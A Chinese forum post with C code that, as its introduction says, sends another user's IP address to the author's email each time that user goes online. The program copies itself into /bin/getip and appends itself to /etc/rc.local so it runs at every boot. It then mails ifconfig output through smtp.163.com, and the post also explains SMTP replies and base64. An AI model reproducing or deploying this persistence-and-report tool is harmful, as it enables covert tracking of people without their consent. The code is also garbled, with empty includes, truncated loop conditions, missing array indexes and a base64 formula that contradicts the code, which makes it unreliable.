歡迎您光臨本站 註冊首頁

linux下發送email的c語言代碼

←手機掃碼閱讀     火星人 @ 2014-03-26 , reply:0

現在很多用戶都是自動獲取ip,而不是固定不變的,現在作個簡單的
程序,在他每次上網后,把他的ip自動發給我指定的email。
實現很簡單(當然,前提是你有相應的許可權,:D),通過調用system(),把
程序路徑放到/etc/rc.local里,以便每次啟動調用。利用ifconfig獲取ip,
並寫到一個臨時文件,然後讀文件內容到緩衝區,作為email正文發送到指定的email。
以163.com的smtp伺服器為例,現在的smtp伺服器都加入了驗證功能(不同伺服器
驗證的方式是不同的,sina的驗證就不同,具體的驗證方式沒有研究),通訊的過程是
這樣的:
[root@localhost root]# telnet smtp.163.com 25
Trying 202.108.44.170...
Connected to smtp.163.com.
Escape character is '^]'.
220 Coremail SMTP(Anti Spam) System (163com[20030606])
ehlo smtp.163.com
250-192.168.1.170
250-PIPELINING
250-AUTH LOGIN PLAIN NTLM
250-AUTH=LOGIN PLAIN NTLM
250 8BITMIME
auth login
334 VXNlcm5hbWU6
xxxxxx(base64編碼過的用戶名)
334 UGFzc3dvcmQ6
xxxxx(base64編碼過的密碼)
235 Authentication successful
mail from:gyfxlt8.go@163.com
250 Ok
rcpt to:gymiles@sohu.com
250 Ok
data
354 End data with .
test
.
250 Ok: queued as IMA5dQQvoEEGyE4C.1
quit
221 Bye
Connection closed by foreign host.



smtp server返回值表
-----------------------------------------------
500 郵箱地址錯誤
501 參數格式錯誤
502 命令不可實現
503 伺服器需要SMTP驗證
504 命令參數不可實現
421 服務未就緒,關閉傳輸通道
450 要求的郵件操作未完成,郵箱不可用(例如,郵箱忙)
550 要求的郵件操作未完成,郵箱不可用(例如,郵箱未找到,或不可訪問)
451 放棄要求的操作;處理過程中出錯
551 用戶非本地,請嘗試
452 系統存儲不足,要求的操作未執行
552 過量的存儲分配,要求的操作未執行
553 郵箱名不可用,要求的操作未執行(例如郵箱格式錯誤)
432 需要一個密碼轉換
534 認證機制過於簡單
538 當前請求的認證機制需要加密
454 臨時認證失敗
530 需要認證

220 服務就緒
250 要求的郵件操作完成
251 用戶非本地,將轉發向
354 開始郵件輸入,以.結束
221 服務關閉傳輸通道
334 伺服器響應驗證Base64字元串
235 驗證成功
---------------------------------------------------

過程很明顯了,再簡單說說base64編碼方式:
可以將字元串3個3個的分開(不足的編碼后以'='補),我們知道每個字元8位,
這樣,3個字元就是24位,base64編碼將這3個字元(24位),6位6位的分開,分成4個字元,
再將這4個字元的ascii碼值與下面的表比較,取出相應的字元,就是編碼后的最終字元。
例如:abc這3個字元,編碼前是這樣的:
0110 0001 0110 0010 01100011
現在6位6位的重組:
011000 010110 001001 100011
得到的字元為:
00011000 00010110 00001001 00100011
ascii碼值分別為:24 22 9 35
對照下面表,得出編碼后的字元:YWJj
從程序的思路來看就是:
1。a>>2
2.(a&0x03)<<4 | (b>>4)
3.(b&0x0f)<<4 | (c>>6)
4.c&0x3f
然後將得到的值對照下表就可得出編碼后的字元,具體實現見代碼。
Base64編碼轉換表(摘自RFC2045)
--------------------------------------------------
Table 1: The Base64 Alphabet

value Encoding value Encoding value Encoding value Encoding
0 A 17 R 34 i 51 z
1 B 18 S 35 j 52 0
2 C 19 T 36 k 53 1
3 D 20 U 37 l 54 2
4 E 21 V 38 m 55 3
5 F 22 W 39 n 56 4
6 G 23 X 40 o 57 5
7 H 24 Y 41 p 58 6
8 I 25 Z 42 q 59 7
9 J 26 a 43 r 60 8
10 K 27 b 44 s 61 9
11 L 28 c 45 t 62 +
12 M 29 d 46 u 63 /
13 N 30 e 47 v
14 O 31 f 48 w (pad) =
15 P 32 g 49 x
16 Q 33 h 50 y
---------------------------------------------------

本代碼在thizlinux7.0下測試通過
/*--------------------------------------
code by sink (gymiles@sohu.com)
------------------------------------*/

#include //include socket
#include
#include //include fopen(),fread().fwrite(),fclose()
#include //include system()
#include //include gethostbyname()

#define PORT 25 //smtp port
#define SIZE 1024
//define mail commands
#define EHLO 0
#define AUTH 1
#define USER 2
#define PASS 3
#define MAIL 4
#define RCPT 5
#define DATA 6
#define CONT 7
#define QUIT 8

void base64enc(const char *,char *);

int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in server_addr;
struct hostent *server_ip;
int numbytes=0,i=0;
char username[512]="";//mail username
char passwd[512]="";//mail passwd

//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files(use "ifconfig >tmp.ip",het ip_files)
char buff[512]="",tmp[4]="",ip[SIZE]="";
int ret=0;//function return
FILE *f_open,*f_write;
char *msg[9]={""};
char *n_return[9]={""}; //return number

msg[EHLO]="ehlo smtp.163.com\n";
msg[AUTH]="auth login\n";
base64enc("your name",username);
strcat(username,"\n");
msg[USER]=username;
base64enc("your passwd",passwd);
strcat(passwd,"\n");
msg[PASS]=passwd;
msg[MAIL]="mail from:xxxxx@163.com\n";
msg[RCPT]="rcpt to:xxxxx@sohu.com\n";
msg[DATA]="data\n";
msg[QUIT]="quit\n";

n_return[EHLO]="250";
n_return[AUTH]="334";
n_return[USER]="334";
n_return[PASS]="235";
n_return[MAIL]="250";
n_return[RCPT]="250";
n_return[DATA]="354";
n_return[CONT]="250";



/*---------------------------
copy self to /bin/getip
---------------------------*/
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip is not existed,copy to it
{
if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
{
perror("fopen argv[0] error");
return(-1);
}

if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the file which we will write to
{
perror("fopen /bin/getip error");
return(-1);
}
while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
{
if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
{
perror("fwrite error");
return(-1);
}
}

fclose(f_open);//close all files we have opened
fclose(f_write);

//chmod 755 /bin/getip
if((ret=system("chmod 755 /bin/getip"))==-1)
{
perror("system error");
return(-1);
}

//call system("echo /bin/getip >>/etc/rc.local")
if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
{
perror("system error");
return(-1);
}
}

/*---------------------------
get ip,use system() call ifconfig>tmp.ip
---------------------------*/
if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}

/*-----------------------------
read from tmp.ip,add it to msg[CONT]
-----------------------------*/
if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
{
perror("fopen error");
return(-1);
}


i=0;
while((fread(&ip,1,1,f_open)) !=-1)//read from tmp.ip
{
i++;
if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
break;
}
strncat(ip,"\n.\n",3);//cat "\n.\n" to data
msg[CONT]=ip;
fclose(f_open);


/*-----------------------------
rm tmp file
------------------------------*/
if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
{
perror("system error");
return(-1);
}


/*------------------------------
connect server,and send command
------------------------------*/
//because the host connect to internet by dail,
//so,it is possiabe that host have not connected when it start
//then we sleep 5 miniutes,and try again until the host connect to internet
//we know the connection status by gethostbyname(),but this way is not always correct
while((server_ip=gethostbyname("smtp.163.com"))==NULL)
{
herror("gethostbyname error");
sleep(300);
}
//create a socket
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket error");
return(-1);
}
//address information
server_addr.sin_family=AF_INET;//host byte order
server_addr.sin_port=htons(PORT);//short,network byte order
server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip
bzero(&(server_addr.sin_zero),8);//zero the rest of struct
//connect server
if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
{
perror("connect error");
return(-1);
}
//if connect success,server return "220"
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
return(-1);
}
//clean tmp
for(i=0;i<4;i++)
tmp='\0';
strncpy(tmp,buff,3);
if(strcmp(tmp,"220")!=0)
return (-1);

//send msgs. if any step has a mistake,the "while" will be breaked,then send "quit" to end connection
i=EHLO;
while(i {
if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
{
perror("send error");
break;
}
//sleep(1);we dont have to use it,because recv() can choke itself until it received data
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error");
break;
}
strncpy(tmp,buff,3);

//printf("command:%s\n",msg);
//printf("return buff:%s\n",buff);
//printf("should return:%s\n",n_return);

if(strcmp(tmp,n_return)==0)
i++;
else
break;

}


//send quit to end mail connection
if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
{
perror("send error");
return(-1);
}


close(sockfd);
return (0);
}

/*-------------------------
base64 encode function
-------------------------*/
void base64enc(const char *instr,char *outstr)
{
char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int instr_len=0,i=0,j=0,pad=0;
unsigned char buf1[4]="",buf2[4]="";

instr_len=strlen(instr);
pad=instr_len%3;
for(i=0;i {
if(i==instr_len-pad)
strncpy(buf1,&instr,pad);
else
strncpy(buf1,&instr,3);

buf2[0] = buf1[0] >> 2;
buf2[1] = (buf1[0] & 0x03) << 4 | buf1[1] >> 4;
buf2[2] = (buf1[1] & 0x0f) << 2 | buf1[2] >> 6;
buf2[3] = buf1[2] & 0x3f;
for(j=0;j<4;j++)
buf2[j]=table[buf2[j]];

if(i==instr_len-pad)
for(j=3;j>pad;j--)
buf2[j]='=';

strncat(outstr,buf2,4);
}

}

[火星人 ] linux下發送email的c語言代碼已經有697次圍觀

http://coctec.com/docs/linux/show-post-190282.html